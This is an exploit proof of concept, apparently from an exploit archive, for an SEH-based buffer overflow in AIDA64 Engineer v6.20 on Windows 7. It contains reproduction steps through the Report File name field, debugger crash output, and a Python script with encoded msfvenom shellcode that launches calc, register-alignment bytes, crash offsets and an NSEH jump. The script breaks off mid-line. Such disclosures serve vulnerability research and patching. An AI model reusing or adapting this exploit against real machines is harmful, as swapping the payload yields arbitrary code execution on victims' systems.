# Exploit Title: AIDA64 Engineer - 'Report File' filename Buffer Overflow (SEH) # Date: 2020-04-02 # Exploit Author: Hodorsec # Version: v6.20.5300 # Software Link: http://download.aida64.com/aida64engineer620.exe # Vendor Homepage: https://www.aida64.com/products/aida64-engineer # Tested on: Win7 x86 SP1 - Build 7601 # Description: # - Exploits the "Report File" buffer when sending an e-mail report via the Report wizard. Entering an overly long string, results in a crash which overwrites SEH. # Reproduction: # - Use indicated OS or manipulate settings: your mileage may vary due to different offsets on other Windows versions / SP's. # - Run the script, a TXT file will be generated # - On the Windows machine, open the TXT file in Wordpad. Copy the contents to clipboard (ctrl+c) # - Open AIDA64 Engineer # - First, click on "File", "Preferences" # - Click menu "Report", "Report File" # - Enter a long string in the field "File name" # - Set "File extension" to automatic, as by default # - Click OK # - Second, in the main menu, click "Report" which shows the "Report Wizard" # - Next, "System Summary only", next, "Plain Text", Finish # - Click the button "Send In E-mail" # - Check results # WinDBG initial crash output using only A's: # (994.998): Access violation - code c0000005 (!!! second chance !!!) # eax=03ac1048 ebx=03ac100c ecx=03ac109c edx=77f070f4 esi=03ac1140 edi=00000000 # eip=77f133a8 esp=03ac0fc8 ebp=03ac1000 iopl=0 nv up ei pl nz ac po nc # cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010212 # ntdll!RtlAcquireSRWLockShared+0x1a: # 77f133a8 8365f400 and dword ptr [ebp-0Ch],0 ss:0023:03ac0ff4=???????? #!/usr/bin/python import sys,struct filename = "aida64_engineer_poc.txt" # Maximum length maxlen = 5000 # Shellcode, using alphanum chars due to bytes considered to be bad above \x7f # msfvenom -p windows/exec cmd=calc.exe -e x86/alpha_mixed -f c -b '\x00\x0a\x0d' bufferregister=eax # Payload size: 440 bytes shellcode = ( "\x50\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49" "\x49\x49\x49\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b" "\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58" "\x50\x38\x41\x42\x75\x4a\x49\x4b\x4c\x49\x78\x6d\x52\x33\x30" "\x45\x50\x45\x50\x53\x50\x6b\x39\x6d\x35\x36\x51\x49\x50\x43" "\x54\x6e\x6b\x52\x70\x54\x70\x6c\x4b\x51\x42\x66\x6c\x4c\x4b" "\x62\x72\x52\x34\x6e\x6b\x54\x32\x46\x48\x54\x4f\x6d\x67\x52" "\x6a\x57\x56\x36\x51\x6b\x4f\x4e\x4c\x47\x4c\x31\x71\x71\x6c" "\x53\x32\x36\x4c\x37\x50\x5a\x61\x6a\x6f\x54\x4d\x77\x71\x5a" "\x67\x7a\x42\x38\x72\x70\x52\x46\x37\x4e\x6b\x53\x62\x52\x30" "\x6c\x4b\x52\x6a\x47\x4c\x4c\x4b\x50\x4c\x67\x61\x51\x68\x78" "\x63\x43\x78\x56\x61\x4a\x71\x53\x61\x6c\x4b\x33\x69\x55\x70" "\x37\x71\x6a\x73\x4c\x4b\x43\x79\x72\x38\x49\x73\x46\x5a\x32" "\x69\x4c\x4b\x44\x74\x6e\x6b\x67\x71\x58\x56\x54\x71\x6b\x4f" "\x6e\x4c\x49\x51\x78\x4f\x44\x4d\x63\x31\x68\x47\x30\x38\x79" "\x70\x30\x75\x68\x76\x43\x33\x51\x6d\x69\x68\x75\x6b\x61\x6d" "\x74\x64\x44\x35\x78\x64\x52\x78\x6c\x4b\x73\x68\x74\x64\x57" "\x71\x68\x53\x31\x76\x4c\x4b\x46\x6c\x32\x6b\x6e\x6b\x76\x38" "\x47\x6c\x43\x31\x6b\x63\x6c\x4b\x33\x34\x6e\x6b\x46\x61\x38" "\x50\x4c\x49\x77\x34\x31\x34\x61\x34\x43\x6b\x71\x4b\x53\x51" "\x42\x79\x33\x6a\x62\x71\x6b\x4f\x4b\x50\x53\x6f\x61\x4f\x52" "\x7a\x4c\x4b\x62\x32\x68\x6b\x6c\x4d\x33\x6d\x51\x7a\x37\x71" "\x4e\x6d\x4d\x55\x38\x32\x75\x50\x77\x70\x63\x30\x50\x50\x55" "\x38\x66\x51\x6e\x6b\x62\x4f\x6c\x47\x39\x6f\x59\x45\x4f\x4b" "\x78\x70\x58\x35\x49\x32\x52\x76\x53\x58\x4c\x66\x6c\x55\x6d" "\x6d\x4d\x4d\x79\x6f\x59\x45\x65\x6c\x46\x66\x51\x6c\x64\x4a" "\x4f\x70\x39\x6b\x59\x70\x64\x35\x47\x75\x6d\x6b\x73\x77\x66" "\x73\x42\x52\x42\x4f\x62\x4a\x75\x50\x31\x43\x59\x6f\x5a\x75" "\x51\x73\x33\x51\x62\x4c\x55\x33\x46\x4e\x70\x65\x70\x78\x53" "\x55\x65\x50\x41\x41" ) # Align the registers # ESI = 04aaefc0, Buffer = 04abfb6c. Buffer - ESI = 0x010b8d align_eax = ( "\x56" # PUSH ESI "\x58" # POP EAX "\x66\x05\x3f\x10" # ADD AX,0x103f # EAX = 0x04aaffff "\x40" # INC EAX # EAX = 0x04ab0000 "\x66\x05\x01\x7F" # ADD AX,0x7f01 # EAX = 0x04ab7f01 "\x66\x05\x6b\x7c" # ADD AX,0x7c6b # EAX = 0x04abfb6c "\x50" # PUSH EAX ) # Offsets crash_ebp = 307 crash_esi = 1583 crash_seh = 319 crash_nseh = crash_seh - 4 # Variables ascii_nop = "\x47" # Doesn't do anything particular for this program nops = ascii_nop * 32 # ASCII NOP's amount # Prefix prefix = "A" * crash_nseh nseh = "\x71\x06\x70\x04" # JNO SHORT # JO SHORT # Jump over NSEH/SEH seh = struct.pack("